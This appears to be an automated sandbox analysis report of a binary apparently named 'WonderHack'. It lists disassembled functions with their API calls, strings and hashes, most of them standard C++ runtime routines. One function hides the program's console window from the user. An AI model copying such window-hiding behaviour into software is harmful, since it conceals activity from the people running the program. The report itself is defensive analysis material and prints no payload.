Instruction ID: 59ae8a39fbcfe00c37e6684538e6924b06a6465553d47793f899a0e9bf0fc6be
Opcode Fuzzy Hash: b6b9a20d0a45ef7acc46ea3b31ab78ef639865bc6cf93da01993725a427ff381
Instruction Fuzzy Hash: C7412438A0021CAFCF12DFA8C880ADEBFB5AF5A324F148555E8159B352D731EE51CB91

Function 001924B0 Relevance: 10.6, APIs: 7, Instructions: 83threadCOMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 001924DD
ShowWindow.USER32(00000000,00000000), ref: 001924E6
GetCurrentThreadId.KERNEL32 ref: 00192524

Part of subcall function 0019F11D: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,0019253A,?,?,00000000), ref: 0019F129
Part of subcall function 0019F11D: GetExitCodeThread.KERNEL32(?,00000000,?,?,0019253A,?,?,00000000), ref: 0019F142
Part of subcall function 0019F11D: CloseHandle.KERNEL32(?,?,?,0019253A,?,?,00000000), ref: 0019F154

std::_Throw_Cpp_error.LIBCPMT ref: 00192567
std::_Throw_Cpp_error.LIBCPMT ref: 00192578
std::_Throw_Cpp_error.LIBCPMT ref: 00192589
std::_Throw_Cpp_error.LIBCPMT ref: 0019259A

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$ThreadWindow$CloseCodeConsoleCurrentExitHandleObjectShowSingleWait
String ID:
API String ID: 3956949563-0
Opcode ID: de3417b84965b7123f652af2213bff0409d548490792a61e3f9f9199a3974d59
Instruction ID: 6336d999e034ec2abebd679e3d67f279bec0b4f41cbc93602104de106f8e01d2
Opcode Fuzzy Hash: de3417b84965b7123f652af2213bff0409d548490792a61e3f9f9199a3974d59
Instruction Fuzzy Hash: EC2176F2D402159BDF10EF949D46BDEBAB4BF14710F080129F50876281E7B5AA54C7E6

Function 001ACF0B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,?,?,?,BB40E64E,?,001AD01A,00191170,0019AA08,?,?), ref: 001ACFCC

Strings

ext-ms-, xrefs: 001ACF76
api-ms-, xrefs: 001ACF62

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: c7b536cf0000871aa9e53c603fce2adab1f156165f1be61c915c0108dba4a159
Instruction ID: 4e5b0f64fac827ae5a22d4093090434057833056d8e5b683d6ed9c8a599ff690
Opcode Fuzzy Hash: c7b536cf0000871aa9e53c603fce2adab1f156165f1be61c915c0108dba4a159
Instruction Fuzzy Hash: 9321E735A01311EFC7329B65EC41EAA7B69DB56760F250121F956E7690D730ED40C6D0

Function 001A0080 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 001A0086
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 001A0094
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 001A00A5

Strings

kernel32.dll, xrefs: 001A0081
GetSystemTimePreciseAsFileTime, xrefs: 001A008E
GetTempPath2W, xrefs: 001A009A

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 02d5649c0a70b2b3ef7bc9cfc7bed35e8d0b8b7d56f0d73afeb353080c7f2804
Instruction ID: 05d74e52452e946ea8d810749b972c8fd00f1c576d4fc8aa882df2df30d21a2c
Opcode Fuzzy Hash: 02d5649c0a70b2b3ef7bc9cfc7bed35e8d0b8b7d56f0d73afeb353080c7f2804
Instruction Fuzzy Hash: 40D09231546220ABC310AFB4BC09E8A7EB9FB19711301815AF895D2A60DBB5CA81CA9C

Function 001B4F81 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 242fe4c5ef7ab9664613f084a6857169806b2f70034aa0513b0593b9f4985b38
Instruction ID: 2e8e118bead540df17f2032f23d50edc3b18464aff82abff157cd17b6cddcc56
Opcode Fuzzy Hash: 242fe4c5ef7ab9664613f084a6857169806b2f70034aa0513b0593b9f4985b38
Instruction Fuzzy Hash: 7DB10374A08A49AFDB05DFACD881BFEBBB2BF56304F144199F5049B392C7719941CBA0

Function 00199B30 Relevance: 9.1, APIs: 6, Instructions: 125COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00199C97
std::_Throw_Cpp_error.LIBCPMT ref: 00199CA8
std::_Throw_Cpp_error.LIBCPMT ref: 00199CBC
std::_Throw_Cpp_error.LIBCPMT ref: 00199CDD
std::_Throw_Cpp_error.LIBCPMT ref: 00199CEE
std::_Throw_Cpp_error.LIBCPMT ref: 00199D06

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: 4c4d2b0e548792378aad8af6c4da4ce3086a66d931cd2cbf2b60a5fe828b9e66
Instruction ID: 6474697f75369d768a708c45308344bcffba5921acd6dcef472f9bbee7b4924c
Opcode Fuzzy Hash: 4c4d2b0e548792378aad8af6c4da4ce3086a66d931cd2cbf2b60a5fe828b9e66
Instruction Fuzzy Hash: 5041AFB1904740CBDF30DB688E42BABB7F8BF55324F18062DD57A26291D7756904CBA2

Function 001AACE7 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,001AACDE,001A0760,0019B77F,BB40E64E,?,?,?,?,001BBFCA,000000FF), ref: 001AACF5
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 001AAD03
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 001AAD1C
SetLastError.KERNEL32(00000000,?,001AACDE,001A0760,0019B77F,BB40E64E,?,?,?,?,001BBFCA,000000FF), ref: 001AAD6E

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: edd4bb541937e9c8f33e996a54ed997bb2e9d81abf4f7336a681a55aea68c305
Instruction ID: 8fb3f514b48dd6042cd34c2a7b6b851b6c00bb54f2f294578222d981e84d779d
Opcode Fuzzy Hash: edd4bb541937e9c8f33e996a54ed997bb2e9d81abf4f7336a681a55aea68c305
Instruction Fuzzy Hash: DB01FC7621D7159EA72427F47C86D662E88EF23B79B20033AF650D59F0EF218C82D141

Function 001AB56E Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 001AB68D
CallUnexpected.LIBVCRUNTIME ref: 001AB906

Strings

csm, xrefs: 001AB5AB
csm, xrefs: 001AB6C4
csm, xrefs: 001AB618

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 337f1bf8caea0dd87cd42b91a6bfb04bd85ce262681c2ac4eb713d4c7c14b3d2
Instruction ID: 973454fc38c3c297afb27445dd677007396bbe556132ae3993402b776de1221d
Opcode Fuzzy Hash: 337f1bf8caea0dd87cd42b91a6bfb04bd85ce262681c2ac4eb713d4c7c14b3d2
Instruction Fuzzy Hash: A9B19879804249EFCF19DFA4C8C19AEBBB9FF26310F10415AE8156B207D739DA61CB91

Function 0019BE95 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 0019BF44
std::_Ref_count_base::_Decref.LIBCPMT ref: 0019C028

Strings

csm, xrefs: 0019BEB7
RCC, xrefs: 0019BEAB
MOC, xrefs: 0019BE9F

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: ab3d58ffc8b30654262e7d5cd01573165615ee9e0d76ec56b2c9ad4d9522da3d
Instruction ID: d89cbdc4932409ab5313a8a92155c79b8a4f102025eb6ea994c31292aeb9a089
Opcode Fuzzy Hash: ab3d58ffc8b30654262e7d5cd01573165615ee9e0d76ec56b2c9ad4d9522da3d
Instruction Fuzzy Hash: 3241B174908205DFCF28DF68EA859ADB7B5BF58300F58805DE449A7652C738EE44CF92

Function 001A55C4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,001BBE94,000000FF,?,001A5685,001A556C,?,001A5721,00000000), ref: 001A55F9
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 001A560B
FreeLibrary.KERNEL32(00000000,?,?,00000000,001BBE94,000000FF,?,001A5685,001A556C,?,001A5721,00000000), ref: 001A562D

Strings

CorExitProcess, xrefs: 001A5603
mscoree.dll, xrefs: 001A55F2

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 3fc3d7f007838d92f2e6d87d11fcb73cc9847bc1f782ab074d8b227604160103
Instruction ID: 0be5b15782e2ff05501aa1c0de1ab1a4f4e6e7d3c5465238b72bcbbc9d389ba6
Opcode Fuzzy Hash: 3fc3d7f007838d92f2e6d87d11fcb73cc9847bc1f782ab074d8b227604160103
Instruction Fuzzy Hash: D101F931A04629EFCB118F40DC09FAEBBB8FB04B25F000529F811E26E0DB74D940CB94

Function 001AD6EA Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 001AD76F
__alloca_probe_16.LIBCMT ref: 001AD838
__freea.LIBCMT ref: 001AD89F

Part of subcall function 001ABF11: HeapAlloc.KERNEL32(00000000,00000018,00000000,?,0019A67D,00000018,?,00193D4A,00000018,00000000), ref: 001ABF43

__freea.LIBCMT ref: 001AD8B2
__freea.LIBCMT ref: 001AD8BF

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: e19d8596f707b343301a4660d2723eb9da5584adf87a46b051494302de8a67b2
Instruction ID: 62975f1085877c0125dea4a1e0956780977ce682e68ed2b29de3b4175c8e1654
Opcode Fuzzy Hash: e19d8596f707b343301a4660d2723eb9da5584adf87a46b051494302de8a67b2
Instruction Fuzzy Hash: 0151D37A600606AFEF255FA0EC81EBF3AA9EF56710F19012CFD05D6611E734DC1097A0

Function 0019EFF1 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0019F005
AcquireSRWLockExclusive.KERNEL32(00198E38), ref: 0019F024
AcquireSRWLockExclusive.KERNEL32(00198E38,0019A2F0,?), ref: 0019F052
TryAcquireSRWLockExclusive.KERNEL32(00198E38,0019A2F0,?), ref: 0019F0AD
TryAcquireSRWLockExclusive.KERNEL32(00198E38,0019A2F0,?), ref: 0019F0C4

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: cb02dfe3fd7c1c1f9cdafc686bfc155b28f333094854d182dd4e806cf8409470
Instruction ID: 93ef097acdbbb0e1fda30e966983d3f4639c1a5641fb48299bbc1a81139ae651
Opcode Fuzzy Hash: cb02dfe3fd7c1c1f9cdafc686bfc155b28f333094854d182dd4e806cf8409470
Instruction Fuzzy Hash: D3412971A0060AEBCF24CF65C4819AAB7FAFF04311B28493EE456D7942D730F986CB51

Function 00193C70 Relevance: 7.6, APIs: 5, Instructions: 111COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00193CA5
std::_Lockit::_Lockit.LIBCPMT ref: 00193CBF
std::_Lockit::~_Lockit.LIBCPMT ref: 00193CE0
__Getctype.LIBCPMT ref: 00193D92
std::_Lockit::~_Lockit.LIBCPMT ref: 00193DD8

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Getctype
String ID:
API String ID: 3087743877-0
Opcode ID: bdb93efe30562871e959519b31c7cd0754262da7a8b31d80c39c8592ea28c3f7
Instruction ID: e5480b3ca05582bb5b1b4c650f8a915afb5ebe1cb9a1eb9bd0ec90441067f601
Opcode Fuzzy Hash: bdb93efe30562871e959519b31c7cd0754262da7a8b31d80c39c8592ea28c3f7
Instruction Fuzzy Hash: 32415671E002188FCF10DF98C855BAABBB1FF54724F448119D8296B791DB34AE45CBD1

Function 0019ADD7 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0019ADDE
std::_Lockit::_Lockit.LIBCPMT ref: 0019ADE9
std::_Lockit::~_Lockit.LIBCPMT ref: 0019AE57

Part of subcall function 0019ACAA: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0019ACC2

std::locale::_Setgloballocale.LIBCPMT ref: 0019AE04
_Yarn.LIBCPMT ref: 0019AE1A

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: aaefd30b3ce756ebfcb86d56206d07d44a83613a110a6a3826b09a5d318751c9
Instruction ID: 4dce98bf61ec51c49e46ad50ada331fb3ae56edb05f74511870b3e1ebf1ea8b2
Opcode Fuzzy Hash: aaefd30b3ce756ebfcb86d56206d07d44a83613a110a6a3826b09a5d318751c9
Instruction Fuzzy Hash: 69017C75A002609FCF06EF20D85597D7B65FFA4750B544019E8065B391CF34AE86CBC2

Function 00191750 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 390COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00191783

Strings

ios_base::eofbit set, xrefs: 00191BEA
ios_base::badbit set, xrefs: 00191BFA, 00191C20
ios_base::failbit set, xrefs: 00191BEF

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: _strlen
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 4218353326-1866435925
Opcode ID: e074beaff7ed2678614cdfb6e0e6d00be4977eafdac2f0a8e66908b0f54b2dbb
Instruction ID: 67a3a607fe9e6ab79ef32a29bd9d8481b0d521cf6731295c7feffa1f422ab5b2
Opcode Fuzzy Hash: e074beaff7ed2678614cdfb6e0e6d00be4977eafdac2f0a8e66908b0f54b2dbb
Instruction Fuzzy Hash: ABF13A75A006159FCF18CF68C494BADBBF2FF88324F194269E815AB3A1D734AD45CB90

Function 0019B755 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 0019B809

Strings

MOC, xrefs: 0019B789
RCC, xrefs: 0019B795
csm, xrefs: 0019B7A1

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: 93228b2b417ee4716f84cf0d3640c1d04f17533f5bb345b6443ae0e4442dd658
Instruction ID: 129579320b6f3aa2ade3718e449bb9fc972782eebca59aa6abf4d09c08761b5a
Opcode Fuzzy Hash: 93228b2b417ee4716f84cf0d3640c1d04f17533f5bb345b6443ae0e4442dd658
Instruction Fuzzy Hash: 15210735808305DFCF289F94E6D5B79B7ACEF94720F14461DE4018BAD0DB34AA40CA80

Function 001B6940 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,001B69DC,00000000,?,001CD2B0,?,?,?,001B6913,00000004,InitializeCriticalSectionEx,001C0D34,001C0D3C), ref: 001B694D
GetLastError.KERNEL32(?,001B69DC,00000000,?,001CD2B0,?,?,?,001B6913,00000004,InitializeCriticalSectionEx,001C0D34,001C0D3C,00000000,?,001ABBBC), ref: 001B6957
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 001B697F

Strings

api-ms-, xrefs: 001B6964

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 78246f3b54a51aa7dae1585b94dca473f5422562f2027be8d6adbea6d670d047
Instruction ID: 38f29103628642bdb8a87e0a762f3fa75e0fe2d1078ebaf9c1d9915bd9e9ddfe
Opcode Fuzzy Hash: 78246f3b54a51aa7dae1585b94dca473f5422562f2027be8d6adbea6d670d047
